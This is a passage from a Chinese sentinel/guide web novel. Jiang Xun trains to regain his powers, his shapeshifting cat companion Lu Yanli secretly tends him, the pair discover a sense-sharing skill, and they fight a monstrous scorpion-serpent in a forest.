陆厌离内心纠结，现在寂静星上随时可能有敌人前来，快速恢复战力的确是他急需的。可是他也不知道，江寻如今的举措，会不会给他自己埋下什么隐患。 在这种矛盾下，陆厌离只好更加努力地在江寻昏睡时为他做精神补偿。 可随着时间渐渐过去，陆厌离却发现，他的补偿效果好像也开始减退了。 * 这天，天光都已经大亮了起来，江寻才中睡梦中苏醒了过来。 “早上好啊，小树。”摸摸窝在自己枕头边，把自己舔醒过来的猫猫，江寻迷迷糊糊地打着招呼。可等他彻底睁开眼睛，才发现了不对。 “嗯？已经中午了吗？”洒满房间的日光让江寻一楞，扭头看向钟表。 果然，时针已经越过了中线，开始向右半边滑落。 江寻刚要坐起身来，却觉眼前一黑，手上一下子失去了力气，又倒回了床上。 猫猫也看出了他的异状，急切地凑了上来，却对他的症状无能为力，担忧地喵喵直叫。 江寻自己却没什么担心的样子，躺在原地缓了一会，眨巴几下眼睛，等视野又恢复了明亮，才若无其事地再次坐了起来。 扭了扭脖子，江寻手上安抚着猫猫，脑子里计算着自己的恢复速度。 自从发现自己只要把能量完全用光昏睡过去，就能更加有效的恢复能量之后，他每天都在使劲挥霍自己体内的能量。 猫猫虽然一直很担心自己，但是看它每日里仍在配合着自己治疗的样子，现在这样的程度，应该还在安全范围内。 没有更多的资料，他也不知道这能量的恢复到底遵循什么样的原理，只能从结果上去为自己规划训练路线，并且随时注意着自己的状态。 不过因为自己体内的能量池也一直处于每天都在扩张的状态，而恢复速度也没那么稳定，有时快有时慢的，他始终没有确定一个消耗与恢复能够平衡下来的点。 好在能量的匮乏似乎除了时不时让自己头昏，精神差一点之外，也没什么其他的影响，江寻便也磕磕绊绊地一边用自己做实验，一边调整着进度。 只是猫猫好像一直都对自己的状态挺担心的，让江寻有些愧疚。 陆厌离此时却已经不止是担心了。 这几天下来，他每天都会给江寻做精神补偿，可也不知道是他对重复的补偿模式产生了抗性，还是自己做错了什么，他眼看着江寻的精神恢复效率一点一点降了下来。 特别是最近这一两日，他已经再次表现出明显的初级匮乏症状了。 陆厌离对江寻的补偿效果下降幅度担忧不已。 按照常理来说，向导的确会对模式重复的补偿行为渐渐产生钝感，从而降低精神恢复效率。但他从没听说过谁的钝感会提升得这么快。 难道是因为他一直是在昏睡期间接受的精神补偿，能接收到的愉悦感有限？还是我的补偿方式太单一了？ 陆厌离贫瘠的向哨知识，又一次让他没了头绪。 江寻丝毫不知道自己一点儿都没放在心上的小问题，会变成自家猫猫的大苦恼。琐事做毕，便如往常一般进入训练舱中开始了今天的训练。 可也许是最近一段时间真的消耗太多了，也或许是频繁的能量匮乏让他的身体免疫力下降了。今天从训练舱中出来以后，江寻便感觉有些不对劲。到了晚上，果然又昏昏沉沉的发起了烧。 看着猫猫着急的模样，江寻摸了摸鼻子，这次真的愧疚了起来，也不再逞强再去给猫猫净化，贴上退热贴，吃了退烧药就早早睡了过去。 得益于退烧药中的镇静安神成分，闭上眼睛没多久，江寻就沉入了深眠之中。 陆厌离趴在江寻床边，一直等到他的呼吸变了频率，这才合身一趴，身形变换，再次恢复成了人形。 随着精神图景污染度的降低，陆厌离的变化也越来越容易起来，只是人形的持续时间仍受可控精神力总量的限制，无法随心所欲的停留一整个夜晚。 所以，他一恢复人形，马上便凑到了江寻身边，就要再次对他开始补偿。 手刚刚伸出去，想到了什么，又停顿了下来。 眼睛逡巡在江寻身上，陆厌离此刻心中却没有任何绯色涟漪，一心只从自己的记忆里挖掘着。 直到眼神一路上移，落在了江寻头顶，才终于想起了深藏在记忆中的一种补偿方式。 想到就做。 陆厌离马上绕到床头跪坐下来，轻轻扶起江寻的头，拨开枕头，把他的脑袋放在了自己的大腿上。 伸出手去，陆厌离如前几日一般，指腹轻触江寻的脸颊，用轻柔的力道让他的身体放松下来。 手指遵循规律，在江寻的面中、下巴上打着圈轻轻揉弄。 本来就长于身体控制的哨兵，经过了这么几日的补偿下来，早已掌握好了按揉的力度。陆厌离这一番不小的动作做下来，不仅没有惊醒江寻，反而让他睡得更加安稳了。 手指按揉完江寻的面部，顺势向着两侧滑去，到了耳朵处灵巧地一转，擦着耳廓触到皮肤，再往前一伸。陆厌离便把手指插入了江寻的头发之中。 到了这里，陆厌离的动作再次慢了下来。 头皮上分布着丰富的神经末梢，更易接收到刺激的同时，适宜的按摩也能给人带来更多的愉悦感。 陆厌离深吸一口气，眼睛紧盯着江寻的反应，手上动了起来。 江寻从降落在寂静星开始，就一直没有打理过头发，原本剪到耳朵上方的头发，经过了这么几个月的生长，已经稍稍盖住了耳朵。 与他的性格完全不同，他的发丝长得又黑又粗，手指覆上去，扎得陆厌离掌心痒痒的，心也跟着动了一动。 猛得摇了摇头，甩掉又有些飘飞出去的思绪，陆厌离吸一口气，轻轻用四指托起江寻的头，另一手从下往上捧起他脑后的发丝往前拢起，逆着头发的生长方向把江寻的头发往上拨，聚拢在头顶。随后，双手轻托起江寻的头，以四指指腹为梳，从下往上地一下下梳过江寻的后脑。 他的动作缓慢而细致，力度不轻不重，又毫不马虎，照顾到了江寻头上所有角落。随着他的动作，江寻的面色肉眼可见地舒缓了开来。 松一口气，陆厌离尝试着慢慢加大力道，一下一下按在江寻的头皮上。第一下的时候是最紧张的，陆厌离眼睛都不敢离开江寻的面上，做好了随时变化回去的准备。幸好，也许是药物的原因，今天的江寻睡得格外的沉，丝毫都没有被惊醒的迹象。 第一下安全过关之后，陆厌离的动作就越来越轻松起来。 他先是以指为梳，从下到上的在江寻后脑上重复按压了好几遍，再以大拇指按住江寻的太阳穴，其他四指如开花般轻轻扫过他的额发与鬓角。 耳周也没忘记，陆厌离伸出两手，掌心互相搓揉一下搓热手心，再把手心扣起捂在江寻的耳朵上方，五指顺势向下搭去，以轻柔的力道缓缓搓揉起江寻的耳廓。 刚动作了几下，陆厌离就发现了一点有趣的东西。 江寻的耳朵似乎格外敏感，他还没揉弄几下，整个耳廓就变得又红又热起来，耳垂也长得格外有趣，居然是肉嘟嘟的，称得上一句可爱，和他的气质完全不相配，惹得陆厌离忍不住揉捏了好几下。 这一下，终于惊动到了江寻，他眉心簇了一下，吐出一声轻哼来。 陆厌离还含着笑意的脸被江寻的动静惊得猛然凝固住，整个人僵在了那里动也不敢动一下。 好一会儿，似乎是发现惊扰到自己的因素没了，江寻的眉头缓缓松弛下去，再次陷入了深眠。 陆厌离这才慢慢放下提起的心，再不敢去碰他的耳朵，松开手指，把目标又转移到了他的头发上。 一阵前后揉捏，最后，又以指缝夹着江寻的头发微微向后拉起，从上到下重复这样的动作，直到把所有的头发都照顾了一遍，这才结束了这一次的按摩补偿。 等到一切结束，重新梳理好他的头发，复原睡前的样子，把江寻挪到枕头上，时间已经来到了后半夜。 陆厌离闭目，用精神力去感应江寻身周的力场变化。果然，这一次的精神补偿动静格外得大，江寻身边的空气都被这变化的立场所扰，开始微不可见的流动。 陆厌离再次伸手探了探江寻的额头，温度已经在退烧药的作用下降了下来。他这才放下了心，团身一滚，重新化作猫猫模样，从旁边扒拉开被子，拱进江寻的被窝，转个身蜷缩起来，紧紧贴在他身边睡了过去。 * 也许是昨天睡得太早了，外边的天还昏红着，江寻就打了个哈欠，懒洋洋地睁开了眼睛。 睁眼一瞧天色，他也没急着起床，眼睛重新一闭，手便不自觉地向身侧伸去。 身侧热乎乎的一团存在感十足，江寻的手不费吹灰之力就找到了目标。 软软的长毛从手指间流淌出去，舒服极了，江寻的手像是有自己的意识一般，不住在猫猫身上抚弄揉捏着。特别是他软乎乎的肚腹与肉嘟嘟的屁股，更是江寻的最爱，每次不捏到满意不放手。 这样毫不掩饰的动作，马上便惊醒了还在梦乡中的猫猫—— 作者有话说：福利全靠猫猫自己动手[狗头] 第57章 也许是因为已经习惯了江寻三不五时的揉捏， 刚刚睁开眼睛的猫猫还没睡醒，迷迷糊糊的居然没有第一时间反抗。直到江寻的手指得寸进尺地在它腹下一转，戳上了它的小铃铛， 猫猫才惊叫一声， 脊背一弓紧抓住探进自己胸腹间的大手， 睁开了圆滚滚的大眼睛。 还没睡饱的猫猫脾气有点坏，一双眼睛水汪汪地控诉着看向江寻，口中喵呜喵呜地嚷嚷了起来， 不知道在骂些什么。 江寻眼睛往下一瞥， 撇嘴一笑，根本不管猫猫的控诉，反而侧过了身去，把另一只手也搭上了猫猫的屁股，一前一后就开始揉挤玩弄起来。 猫猫的控诉不但没有让加害者停下过分的动作，反而给自己又招来了一只魔爪， 两只大手前后一合便把它包在了中间， 任它如何扭动都挣不出这双魔爪。 突然， 也不知是那双手碰到了哪里，猫猫脊背上一个激灵， 整个身子都抽动了一下，而后更加剧烈地反抗了起来。 江寻这会儿已经彻底醒了过来， 可不知是今天的精神格外好的缘故，还是怎样， 一看猫猫的动作，他反而少见地升起了坏心，不但不停手，反而身子一缩， 同样挤进了被子下面。 跪起身子，江寻两只大手抓住猫猫的前爪往床上一扣，脸就埋进了猫猫的白肚子里，一边胡乱地亲它，一边使劲左右晃着头磨蹭。 陆厌离辛苦忙碌了一晚上，这会儿本就没睡醒，还没睁眼便被江寻玩弄了一通，身上各处敏感的地方被他没轻没重地揉捏了半天，羞愤极了。这会儿还被江寻整个压在了床上动弹不得地戏弄，一时恶向胆边生，猛然低下头去，一口就咬住了江寻在自己面前晃动着的耳朵。 刚咬上去，他便反应过来自己做了什么，忙又卸了力道。可是咬都咬了，松开感觉有点丢脸，又不可能真的咬下去，牙齿抵在江寻的耳廓上，上不上下不下，一下子不知道该怎么办了。 江寻只感到耳朵上一热，居然被小树一口咬住了。可它咬也不咬下去，尖利的齿尖抵在他的耳廓软骨上，就那么不上不下地含着。 江寻一个哆嗦，第一次知道原来耳朵是自己的敏感点。看小树既不咬下来又不松开的尴尬样子，哈哈一笑，嘴里“嗷呜”一声，先张开嘴巴咬在了小树的脸蛋上。 猫猫明显是被江寻这神来一笔惊到了，连嘴巴都松了开来，双眼瞪得圆溜溜地看向江寻。江寻嘿嘿一笑，得寸进尺，头一低便在小树脸上使劲亲了起来。 陆厌离被江寻这突如其来的袭击惊得僵住，又被男人抓住机会偷了好几个香。 男人的脸庞极近地贴在自己脸上，昨晚还被他抓在手心里的黑发，如今散在他面庞上，扎得他一阵阵发软。 被子封闭住空间，也遮蔽了光线，陆厌离躺在床上，双手被男人紧紧扣住，动弹不得的感受着男人落在自己面上的滚烫嘴唇。 昏暗的光线模糊了视野，他看不清男人的模样，只能看清他眼中的闪闪明光。 无法自控的感觉，在此刻化为了一道催化剂，一股奇怪的酥麻感从身体最深处弥漫了开来。 浓郁的向导素味道扑面而来，封闭的空间中，极近的距离下，陆厌离无可抵挡地被这股浪潮淹没了进去。 稀薄的空气在一人一猫之间流转，氧气被吸进江寻的身体，在他体内流转一圈，再从他口中喷出来灌入陆厌离的口鼻，弥散在其中的向导素悄无声息地顺着黏膜浸入陆厌离的身体，沉睡在他体内的一部分晦涩精神力忽的一跳，甦醒了过来。 甦醒过来的精神力，刚一露头便如同感应到了另一股精神力的存在，丝毫不顾陆厌离的挽留，汹涌跳跃着向着上方奔涌上去。一溢出他的身体，便乳燕投林般跃入了跪在他上方的另一具身体之中。 江寻正与猫猫玩得欢快，突然被这股熟悉的精神力侵入了身体，一下子停下了动作。 略显惊讶地看了一眼被自己压在身下的猫猫，它正双眼无神地小口小口喘着气，浑身被方才的玩弄搞得长毛炸起乱糟糟的，刚才还在剧烈扭动着的身体已经软了下来，再无一丝反抗。 江寻心下一动，同样提起体内充盈的能量迎了上去。 两股能量相触的那一刻，便猛然加速，紧紧地绞缠在了一起，凶猛地向着彼此的方向渗透过去。 江寻只觉尾椎一颤，一股莫名的快感从身体深处苏醒过来，随即快速地向着四面扩散开来，浑身一凉，浮出股酥酥麻麻的奇妙感觉来。 江寻眉毛一挑，目露惊讶，升起了些兴趣。 看了看猫猫的状态，想了片刻，江寻能量一提，身周空气搅动起来，许许多多细小的精神力触须从空气里凭空浮现，在出现的下一秒，便一股脑地缠上了躺在江寻身下的躯体。 陆厌离正浸润在向导素的味道与精神力相融所带来的快感里，头昏目眩迷迷离不知何夕，突然被一条熟悉的无形触须缠了上来。 毫无防备之下，一下子便被这触须搔到了身体最深处，眼睛一瞬大睁，发出一声惊叫。 可这一条触须只是个开路兵，还没等他反应过来，无数条更加粗壮凶猛的触须便一条接一条地缠上了他的身体。 剧烈而汹涌的恐怖快感，在这一瞬间直冲陆厌离的大脑，陆厌离眼眶唰地一下睁到最大，眼珠控制不住地上翻，脑袋猛地向后扬起，嘴巴大开发出一声无声的吼叫。 大量津液快速泌了出来，却无处可去，顺着陆厌离大张的嘴巴溢了出去，嘴边的胡须毛发被这些流溢而出的津液黏成一团，湿哒哒地贴在他的下巴上。 陆厌离的神志被这股过于剧烈的快感击中，瞬间冲得七零八落，恍恍惚惚。胸膛无助地向上一挺，又无力地跌落下来，四肢无意识地哆嗦起来。 江寻被小树的剧烈反应吓了一跳，犹豫了一下，正要收回触须，两人之间融汇在一起的精神力忽而流速大增，一上一下分别冲进了两人体内。 江寻脑中一空，只觉得什么不属于他的东西，一下子突破了界限闯入了他的脑中，他的视野一黑又一亮，视线忽而下落调转，自己的面孔突然出现在了他的眼前。 江寻一惊，还没反应过来发生了什么事，视角再次变换拉远，而后，自己原本的视野又再次浮现了出来。 这忽然而来的视角变换，一下子让他的动作失去了控制，上身一晃，就摔落在了小树身上。 江寻一动不动，维持着趴下的动作，睁大双眼看向眼前奇妙的场景。 他的脑子里，居然同时呈现出了两个不同的视野。 一个视野明显属于他自己，里面正映照出床单的花纹与小树的侧脸，只是画面比起一开始时，模糊混沌了许多。 而另一个视野中，映照出的却是他自己的模样。这个视野中呈现出的东西，清晰度、视距、细节表现明显比他自己的视野高了好几阶，看上去就和360P与4080P的对比似得。 两个视野同时出现在了他的脑海中，而且互不干扰。他试探地抬了抬右手，两个画面中映照出来的右手就一起动了起来，只是另外一副画面，明显并不受他控制，他只能作为一个观众旁观，而无法控制视线的中心落点。 江寻一下子明白了过来这是什么。 他眼神发亮地看向迷蒙着双眼看向他的猫猫，马上，便在另一个视野中看到了自己的模样。 他面上笑容放大，心中确定了答案。 这是小树的视野！ 新技能！ * 意外发现的新技能，再一次让江寻的学习欲熊熊燃烧起来。 陆厌离无奈地发现，自己为了提高江寻的精神恢复速度，刚刚开发出来的新补偿方式，又要跟不上他的消耗速度了。 另一边，江寻对这次意外发现的这个新技能产生了极大的兴趣。 之前他所有自行领悟出来的技能，几乎全部都是作用于小树的，并且都或多或少的与治疗属性挂钩。用通俗的比喻来说，全部都是辅助技能。 这一次的新技能，是他学会的第一个能够直接提升他自身能力的技能。 他拉着小树，回忆着那天的经过，试验了许多次后，才初步学会了如何主动释放这个技能，搞明白了一些这个技能的具体情况。 江寻给这个技能取名叫做五感共享。 顾名思义，它不仅仅是第一次使用出来时那样，只能共享小树的视觉，而是能够实现多种感官共享的一个技能。 五感只是江寻的概述，他真切怀疑，这个技能练习到极处，一定还有什么奇妙的感官信息能够共享。只不过，从目前最表面的表象来看，它能够共享的，就是视觉、听觉、嗅觉、味觉、触觉这五种常见的感觉信息。 技能发动时，江寻可以选择只共享这五种感觉中的一种，也可以同时选择好几种一起共享。只是同时选定的感觉数量越多，维持技能需要消耗的能量就越多，技能持续时间也越短，同时感觉中呈现出的细节与技能稳定性就越差。以江寻如今每天都在不断扩大的能量池，也只够维持五感全开不到一分钟的时间。 同时，共享了小树的感觉信息时，他自己的相同类别感觉信息并不会被覆盖掉，而是与共享的信息同时呈现。只是，在技能维持期间，他自己被选择的这一项感觉信息，清晰度与灵敏度都会下降很大一截。 江寻猜测随着他对技能的熟练度提高，减益效果应该会相应的减少。 另外，与他一开始所猜测的不同，这项技能并不是双向传递的，而是单向的。也就是说，当技能发动时，小树能够感受到江寻对自己使用了技能，技能持续期间，也能实时感受到自己正处于技能的作用下，但是它并不能接收到江寻的信息，而是单方面地把自己的信息传递给江寻。 可能也是因为这个原因，这个技能只能由江寻这方主导发动，却要在通过小树的认可同意之后，才能发动成功。如果小树在接收到江寻的技能发动请求后，有意识的抗拒执行，那么不仅技能会发动失败，同时，江寻已经使用出来的这部分精神力也会直接损失掉。 除了这两种情况外，最后一种情况就是如他们第一次使用出技能时那般，小树已经无法自控，思维空白时，江寻可以趁此空隙直接单方面建立起技能链接。 虽然限制不少，消耗也很大，但有目共睹的，这个技能充满了发展前景，让江寻兴致勃勃地拉着小树试验了许多次，开发它的各种用途。 也是通过这个技能，江寻才真切认识到了，小树的身体机能究竟有多么强悍。它与其他野生动物的区别，绝不仅仅是更加优秀一些这种程度。它们之间的区别如同天堑，简直就是两个物种。 视觉上，它近能捕捉到极微小的细节，远能清晰的看到极远处的事物。在黑暗的环境中拥有清晰的夜视能力，动态捕捉能力也极强。 其他几种感觉也是如此，同样有着远超常人的能力。 江寻不知道这种巨大的差距是小树身上独有的，还是所有的“战兽”都有这样的能力。 窥到了小树实力的一角，联想到它的身份，江寻对于“超级士兵”的实力层次终于更加具现化了一些。 于是，训练起来更加拼命了。 对于这种结果，陆厌离也很无奈。 他自己对于实力恢复有需求，但是不太明白江寻为什么如此急切，把自己逼得这么紧。 向导本就不是长于肉|体能力的兵种，他如今每天的训练量，不仅远远超过了寻常向导应有的水平，甚至比一些军校中的预备军官还要更重。 更何况他还是从没出现过的成年以后才觉醒的新生向导，所有的向导技能全都是凭自己领悟出来的，连陆厌离也不知道他的训练方式对不对，会不会对他自己造成什么伤害。 眼看着他不断持续着高强度的训练，夜里昏睡得越来越沉，陆厌离终于忍不住，在他又一次踏入训练室时拦住了他。 “嗯？怎么了小树？” 江寻早上给小树治疗过后，刚要如往常一般去训练舱里训练，就被猫猫先一步挡在了房门口。 看着猫猫绕着他转了一圈，又叼起他的裤脚往外拽的动作，明白了它的意思。 “不让爸爸训练了？嗯？你之前不都不阻止我了吗？” 江寻疑惑，却没有马上否定小树，就地坐了下来，把小树搂了过来，平视着它的眼睛和它商量起来。 江寻没有无视他的话，这让陆厌离心下的焦虑缓解了一些，他想了想，连比带划地和江寻解释了半天，看江寻还是没有明白他的意思，一跃跳出江寻的怀抱，走进训练室中，扭头四下看了看，走到一个训练用靶子的前方，伏低身子冲着它大吼一声，后腿一蹬高高跃起，寒光闪闪的指甲弹出，一爪从左到右狠狠抓在靶子上。 如今的陆厌离，和他刚刚来到寂静星时已经不可同日而语。每天沐浴在向导的疏导下，让他的堕化值和污染度都在飞快地降低下去。 能够操控的精神力一多，体现在战力上，那就是指数级的提升。 他这一爪子下去，即使目标是使用了高密度金属材料的训练专用靶，也在寒光划过之后毫无悬念地唰一下劈开，分成上下两段倒了下来。 陆厌离走到摔落在地的上半段靶子面前，一脚踩了上去，而后扭过头去看向江寻。 江寻在小树一系列的动作之后，总算大概明白了它的意思。 “你是说，你现在很强，你会保护我，我不用这么努力的训练是吗？” 见江寻终于明白了自己的意思，陆厌离忙点了点头，回返过来，爪子抬起搭上江寻的膝盖，轻轻地叫了一声，探头过去蹭上江寻的侧脸，又低下头去，在他臂膀上不小心在训练时摔出的青紫上心疼地舔了舔。 看到猫猫的动作，江寻的眼神软了软，一手环过它，一手揉了揉它的下巴，这才回答道： “我知道小树很厉害，也相信小树可以保护好我，但是这并不是我自己不用去努力的理由呀。” 江寻思考了一下，他不太确定小树是否能听得懂人类过于复杂的思维，尽量让自己的话语更加直白一些。 “我很高兴小树愿意支持我保护我，但这不是你必须要去做的事，不是你需要去承担的责任。” “若是我把希望全部寄托在你的身上，那同样重量的责任也会被同时压在你肩上，可这并不是你理应去承受的。” “每个人都应该为自己的命运负责，不管是对他人的期待还是憧憬，归根到底，都是一种责任的转嫁。他们只是给这种转嫁披了一层漂亮的外衣，用道德与规则作为武器，想让别人去为他们承担原本应该属于他们自己的责任。” “小树，我不愿你这样。” “你应该是自由的，与任何人一样平等的。你可以选择保护，也可以选择旁观，可以选择留下，也可以选择离开。但这些，都应该是你自己自由的选择，而不因任何人的期望而转移，即使这个人是我。” 江寻注视着小树的眼睛，缓缓地向它解释着。 “我非常爱你，也很希望你能够同样的爱我，但这只是我的愿望，是我应该自己努力去争取的东西，你并没有实现我愿望的责任。我对你好只因为我愿意，你不用为了这份好去做任何事情，甚至也不用像我爱你一样爱着我。” “我不希望你在做选择的时候，掺杂更多其他的东西进去。你应该去听从自己内心真实的愿望，不要因为任何人对你的好便去承担，不要因为任何人的苦衷而去迁就。” “不要去承担任何人的命运，只做自己真正想做的事！” 江寻看向面前愣住的猫猫，接着说道： “我也是如此。” “我想要变强不是为了任何人，只为了我自己。我要得到足够的力量，去追求我想要的生活，去爱我所爱的一切，那么为此付出努力也是理所当然的。” “而且，”江寻说着说着，话锋一转面露笑意，亲了一口猫猫的侧脸：“你是我的猫呀！我才是铲屎官，就算要保护，也理应是由我去保护你！猫猫呀，只要好好吃饭，好好玩耍就可以了！” 江寻揉弄了一下小树的白肚皮，把它往地上一放，便干脆利落地站起身来绕过它进入了训练室之中。 陆厌离呆愣愣地站在原地，有些无措，有些茫然，目光追随着已经走远的男人，看着江寻掀开舱盖，毫不迟疑地再次躺进了训练舱中，良久无言。 * 不知过了多久，静静躺在训练舱中的男人，额头上开始冒出细汗，面色紧绷起来。 忽然，一个挺身，闷哼一声，猛地睁开了眼睛。 训练舱检测到了使用者的苏醒，“哧”一声结束了运行，舱盖还没彻底打开，连接在身体上的电极丝还没有完全脱离，里面躺着的男人就匆忙半坐了起来，头往外一歪就开始剧烈干呕起来。 外间听到动静的陆厌离，猛地加快了脚下的步伐，闪电般窜进了训练室，几步奔至训练舱前，焦急地叫出了声。 江寻看到了猫猫的担心，此时却顾不上了，对着猫猫摇了摇手示意一下，将头避过去一些，闭了闭眼缓解这股呕吐感。 抓在舱壁上的手指用力到发白，整个小臂上的肌肉都在细微的颤抖，随着电极丝的脱离，江寻体表开始迅速浮现出数道青紫红肿，刚才在全息训练空间中受伤之处，开始一一投射在他现实的身体上，阵阵真实的疼痛感一股脑袭来，被反馈回江寻的神经中枢。 江寻伏在舱壁上，静等这波疼痛感平息下去。 其实他本不用受这些真实的苦楚，训练舱中，设置有痛感阈值，也可以调节疼痛感接收率，可他总觉得没有足够真实的疼痛感，训练中犯的错便没有那么印象深刻，也容易让自己产生一种受伤也不要紧的战斗惯性。 不趁着这会儿没有危险时习惯这些，他可不想等站到了真实的战场上，再用血与泪去学会这些教训。 也许就是因为这股认真的劲儿，江寻的训练进度进步神速。 这会儿，明明状态狼狈，刚缓过来一些的江寻面上却布满了笑意。 他第一次成功完成了一整套基础战术关卡！ 这也就意味着，他终于具备了基本的自保能力，与这里的星际人类站在了同样的起跑线上！ 江寻抹了抹嘴，看向人立而起扒着外舱凑过来看他的小树，从知道这里是他的前主人的屋子之后，一直沉沉压在心上的担子，终于轻了些—— 作者有话说：江江新技能GET？[猫头] 第58章 袭袭春风吹绿了树梢， 新生的嫩叶噼啪噼啪着拍打着彼此，一阵熙熙攘攘。 正全速从林边掠过的猫猫，耳朵一动， 倏然扭头看向了身侧幽深的树林。 察觉到猫儿的异动， 江寻反应迅速地停下了脚步， 伏低身体，同样注视向身侧的幽林。 这里是位于东边的板状榕森林边缘地带，今天江寻按照惯例， 带着小树过来查探前几天布下的陷阱。 巨树密布的板状榕森林中， 视野环境极差，江寻向内望了望，以他的眼力，只能看得清楚纵深三五米之内的距离，但他从不怀疑小树的判断。 扭头看一眼猫猫，只见小树耳朵灵敏地转了转， 眼睛微眯了起来， 下一秒， 目光一厉，扭头盯向一个方向。 见小树压低了上身， 就要冲刺出去，江寻忙伸手过去拦了一拦。 猫猫行动被阻， 疑惑地看向江寻，却见江寻给他打了个手势， 便当先向着他要冲出去的方向潜行了过去。 小树稍稍犹豫了一下，见江寻已经不由分说地行动了起来，这才按照他的意思，向右一转， 向着目标身后绕了过去。 江寻压低身体向着目标位置行进，一手从身后的背包中抽出迷彩斗篷往身上一披，便消失了踪影。 有的放矢之下，踏入林中没一会儿，江寻就发现了他的目标。 只见前方林影幽深处，一棵巨大的老榕斜斜伫立正中。条条垂落下来的气根，在不知多少岁月的冲刷下，化为一片嶙峋的迷宫，把方圆十几米内全部的土地统统笼罩了进去。 巨大而繁茂的树冠，遮蔽了这一片区域中所有的光线，前方黑乎乎一片，看不真切。树冠气根遮蔽着的空间中，有阵阵咀嚼声入耳，风中飘来股腐败混合着腥味的恶臭。 见此情形，江寻不见慌张，面色反而更加冷静了下来。 他再次放轻呼吸，调整步伐，在迷彩斗篷的掩盖下，向着前方靠近过去。 行至最边缘的气根后面，江寻停下了前进的脚步，借着外部漫射进来的一点点光线，眯眼看去，这才将目标的全貌收入了眼底。 只见榕树最中心处的主干上，枝丫岔开横斜出去，一只半蛇半蝎的巨大怪兽，正攀爬缠绕在榕树枝丫岔开处的巨大空洞中，挥舞着狰狞的蝎钳大快朵颐，发出一阵“咔嚓咔嚓”的可怖咀嚼声。 江寻本已做好了面对劲敌的思想准备，可这凶兽的体型外貌还是让他呼吸一窒，冷汗唰一下冒了出来。 这棵巨榕，主干处直径足有五、六米之宽，却只能将将让这头凶兽容身其中。这还只是它前部蝎身的长度，还有不知道多长的粗大蛇尾，盘绕倒吊在榕树向上伸展出去的枝干上，深入上方的一片幽深中。 江寻咽了口口水，冷汗从额上滑下浸湿了眼睫也不敢去擦，静静地潜伏在原地，等待着他想要的信号出现。 须臾过后，江寻忽觉平静的心湖之中，泛起一波涟漪。顺着冥冥中的感应抬头看去，正看见巨榕后方不远处，半截毛茸茸的大尾巴从枝叶之间一闪即逝。 江寻心中一定，闭眼凝神，体内能量调动起来，透体而出，向着他属意的方向弥漫出去。 两股无形的精神力在空中汇合融聚，再顺着彼此奔涌而来的方向逆流而上，透体投入一人一猫的身体之中。 江寻脑中一空，熟悉的界限感油然而生，循着旧例向前一冲，另一幅更加清晰的视野便呈现在了江寻面前。 以这个视野看过去，这蛇尾蝎的面目几乎纤毫毕现，江寻仔细观察了片刻，心中一个可行性方案便勾勒出来。 江寻抬手举起钩索枪，心中一动，一条指令被远远传递到了视野的另一端。 同时，心中默默开始倒数。 三。 小树脚下枝叶晃动一下，一阵树叶摩擦声入耳。 二。 正在进食的蛇尾蝎嘶鸣一声，闪电般从树上弹起上半身，扭头看向头顶。 一。 江寻毫不迟疑地扣下扳机，一道碳纤维钩索飞速从蛇尾蝎背后弹出，从蝎口两根探出口器的长长獠牙侧面斜掠而过。 零。 江寻向右一拽钩索，受力之下，钩索向回一绕，在右面獠牙上缠绕了几圈，而后，尽头锋利的金属钩子唰一下刺入蝎兽下巴，从上颚透体而出。 江寻使出吃奶的力气猛地一拉钩索，狠狠向后一拽，电光火石之间，蝎兽还未来得及痛叫出声便被这股力量破坏了平衡，重心一歪，便从枝头摔了下来。 初战告捷，江寻面上却毫无轻松之色，快速地把手中的钩索往地面上一钉，脚下用力一蹬就从身后向着蝎兽的方向奔去，手上顺势又甩出另一条结着活扣的钩索。 交错而过之际，江寻手一抖，活扣便被套在了蝎兽另一边的那根獠牙上。 那蝎兽反应也不慢，一见有敌来袭，还未坠落到地面上，就一声长嘶，身后长尾狠狠甩动，贴着地面凶猛横扫过来。 可此时的江寻，还连接着小树的视觉，对战况的洞察力岂是一只野兽所能想象？对方腰部刚一发力，他就敏锐地看透了它接下来的动作。 双脚一踩蝎钳腾跃而起，横扫而过的蛇尾从他脚尖将将掠过，带起的腥风吹得江寻裤腿猎猎作响，却丝毫也没有沾到他身。 江寻一个空翻，脚在蝎兽头顶一踩借力，手中钩索一抖收紧了活扣，便头也不回地顺着蝎兽的后背一路向后方奔去。 冲到一半，手上就传来一股巨力，江寻被拽得身子一歪就要倒地。一手撑地双腿下压顶住地面，江寻迅速调整身形，牙一咬另一手五指收紧狠狠一拽一插，便飞速将手上的钩索如第一个钩索一样，深深钉入地面。 那巨大的蝎兽被两条钩索一前一后扣住獠牙，固定在中间，狂怒之下前半身人立而起，挥舞着巨钳猛地向着一边钩索横扫，身后长尾高高扬起，疯狂甩向身后。 这蝎兽也不知是什么异种，力气大的惊人，江寻眼见它的尾巴抡圆又狠狠砸落下来，阻挡在它进攻路线上的所有气根，一碰到攻击携来的风压便枯枝拉朽般全部炸裂开来。眼见覆满鳞甲的粗大尾巴就要砸落下来，江寻脚跟一碰，氦动力靴发动，一股澎湃动力从靴底喷射出来，整个人已经如离弦箭般飞射了出去。 巨大的蛇尾“砰”一声狠狠砸在地面上，当即土崩石裂在地面上砸出一个大坑。迸射而出的枯枝碎石如利箭般向着四周炸开。 正在飞退的江寻，躲开了这尾巴的砸击，却躲不开这股震荡开来的冲击波。双臂交叉挡在面门前承接住了这道波动，被打得加速向后跌去，面上一痛，一片锋利的碎石划过侧脸，当即留下一道血痕。 一击不中，那蝎兽更加愤怒了起来，头部八只血红的兽瞳闪动残忍的凶光。一声嘶鸣，头部不管不顾地剧烈挣扎起来。 深楔在地面上固定住钩索的膨胀钉，在巨力的作用下，开始摇晃起来。 一见此景，江寻丝毫也不敢耽误，趁着它行动受阻，踩着动力靴便冲上前去，绕着这只蝎兽周围纵横来去，把更多的钩索或抛掷或射出，套在它的身上。 没一会儿，还不等蝎兽摆脱开最开始套在它两枚獠牙上的钩索，身上已经又挂上了数道长长短短的后来者，连尾尖都被一条绷紧的钩索狠狠勒入鳞甲缝隙之中，悬在空中拉扯成一条直线动弹不得了。 眼见这蝎兽暂时失去了机动力，江寻也不靠近，提起复合弓装弦上箭便瞄准蝎兽头部的要害部位狠狠射去。 前几箭时，这凶兽还能冲着江寻挣扎怒吼，待到一桶钢箭射光，它已经瘫软下来垂下了头去，就那么悬在众多钩索中间不动了。 直到此时，江寻才略略松下了心神，小心地反握住匕首慢慢靠上前去。 脚下越靠越近，头顶树枝忽而传来轻响，江寻稍稍抬头，对着上方露出个安抚的笑容，又接着前进。 